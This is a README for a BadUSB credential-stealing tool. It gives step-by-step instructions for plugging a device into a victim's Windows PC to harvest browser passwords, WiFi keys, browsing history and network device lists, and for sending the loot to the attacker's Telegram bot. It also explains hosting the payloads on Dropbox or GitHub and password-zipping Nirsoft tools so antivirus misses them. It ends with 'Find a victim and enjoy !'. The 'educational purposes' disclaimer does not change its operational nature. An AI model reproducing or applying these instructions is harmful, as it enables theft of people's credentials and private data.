Everything in this repository is strictly for educational purposes. Notice I am not responsible for stolen data. You are responsible for your actions using developed script for BadUSB.
This script allows you to steal the following information :
- Browser passwords (Chrome, Firefox, Opera);
- WiFi passwords;
- Browser history from the last 7 days;
- The list of all devices that are connected to victim's network;
I stopped upgrading .ino scripts, if you want you can convert Ducky Scripts here.
Sometimes, you will see something like this :
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.press(KEY_LEFT_ALT);
Keyboard.press(173);
Keyboard.releaseAll();
This is only to write these characters : "@", "\". But it depends on the computer's layout, so adapt these characters thanks to this site and the sequence you actually use to wirte these characters with your keyboard. (or switch the keyboard layout to French).
For US layout you only have to replace by this for "\" :
Keyboard.press(92);
Keyboard.releaseAll();
And by this for "@" :
Keyboard.press(64);
Keyboard.releaseAll();
You can customize the delay according to the speed in which you plug the BadUSB.
When you plug the BadUSB in a PC you have to wait for the caps lock to flash to unplug it.
-
Have a BadUSB.
-
Install Arduino software here (if you use a BadUSB which is based on arduino);
-
Have a Telegram account;
-
Have latest version of python installed on your PC;
-
Have latest version of pip installed on your PC;
-
Have a victim with Windows OS installed in his PC;
- Download latest python version (installer 64-bit or 32-bit) here;
- Now run the installer
- Select "Add python.exe to PATH" checkbox and then click on "install now";
- Launch a powershell prompt and run the following command to download get-pip.py :
curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py
- Then run the following command to install pip :
python get-pip.py
-
Open you browser and go to this link and login;
-
Search for the @BotFather username in your Telegram search bar;
-
Click Start to begin a conversation with @BotFather
-
Send /newbot to @BotFather.;
-
Then send your bot’s name to @BotFather.;
-
Then send your bot’s username to @BotFather. @BotFather will respond :
Done! Congratulations on your new bot. You will find it at t.me/BOT_USERNAME. You can now add a description, about section and profile picture for your bot, see /help for a list of commands. By the way, when you’ve finished creating your cool bot, ping our Bot Support if you want a better username for it. Just make sure the bot is fully operational before you do this. Use this token to access the HTTP API: API_ACESS_TOKEN For a description of the Bot API, see this page: https://core.telegram.org/bots/api
- Now begin a conversation with your bot by clicking on the t.me/BOT_USERNAME link in @BotFather's and click Start. Now your bot will appear in your chat list;
Your Telegram API access token is in the @BotFather's response !
- Paste the following link in your browser. Replace API_ACCESS_TOKEN with the API access token that you identified or created in the previous section :
https://api.telegram.org/bot<API-access-token>/getUpdates?offset=0
-
Send a message to your bot in the Telegram application. The message text can be anything. Your chat history must include at least one message to get your chat ID.
-
Refresh the API tab.
-
Identify the numerical chat ID by finding the id inside the chat JSON object. In the example below, the chat ID is 123456789.
"message":{"message_id":2,"from":{"id":123456789,"is_bot":false,"first_name":"user","language_code":"en"},"chat":{"id":123456789,"first_name":"user","type":"private"},"date":1696077493,"text":"Hi"}}]}
- Download this repository;
Linux :
git clone https://github.com/tuconnaisyouknow/BadUSB_passStealer
cd BadUSB_passStealer
Windows : Click on green button on right top of main page. Then click on "Download Zip" and extract zip file.
-
Replace TOKEN and CHAT_ID with your personal Telegram token and chat_id here at line 7 and 8;
-
Convert telegram_uploader.py in exe file with this command :
pip install pyinstaller
pyinstaller --onefile -w telegram_uploader.py
-
Upload your files (ciaoV2_upload.ps1, fin_upload.ps1, telegram_uploader.exe) to download them;
-
Replace LINK here with ciaoV2_upload.ps1 link at line 53;
-
Replace LINK here with telegram_uploader.exe at line 15;
-
Put the .ino or .txt file in your BadUSB;
-
Find a victim and enjoy !
- Download this repository;
Linux :
git clone https://github.com/tuconnaisyouknow/BadUSB_passStealer
cd BadUSB_passStealer
Windows : Click on green button on right top of main page. Then click on "Download Zip" and extract zip file.
-
Upgrade Malduino firmware following this istructions;
-
Then replace false with true at line 2 in preferences.json file in your MMS. The line has to be like the following :
"enable_msc": true,
-
In your MMS root directory, crate the following 2 directory : dump/ and passStealer/;
-
Replace TOKEN and CHAT_ID with your personal Telegram token and chat_id here at line 7 and 8;
-
Convert telegram_uploader.py in exe file with this command :
pip install pyinstaller
pyinstaller --onefile -w telegram_uploader.py
-
Download 7-Zip Extra: standalone console version, 7z DLL, Plugin for Far Manager here
-
Put BadUSB_passStealer.txt in the root directory of your MMS, ciaoV2_storage.ps1 in MMS/passStealer/, fin_storage.ps1 in MMS/passStealer, 7z/ in MMS/passStealer and tools.zip (password : tools) in MMS/passStealer;
-
Find a victim and enjoy !; Explaination : Nirsoft Tools are encrypted with a password to not be detected by antivirus, so we need 7zip to extract this zip in command line. Dump folder is where all stolen informations will be.
- Turn off caps lock.
- Switch the keyboard layout to French (or adapt the code according to your layout).
-
Create a dropbox account here;
-
Upload your file;
-
Copy the link of the file and change ?dl=0 by ?dl=1;
-
You will get a link like this : https://dropbox.com/s/link/YOURFILE?dl=1;
-
Create a Github account here;
-
Create a public repository;
-
Upload your file;
-
Go to your file page and click on RAW button;
You can download nirsoft tools below if you want :
- WebBrowserPassView.exe (User : download ; Password : nirsoft123!;
- WNetWatcher.exe;
- BrowsingHistoryView.exe;
- WirelessKeyView.exe;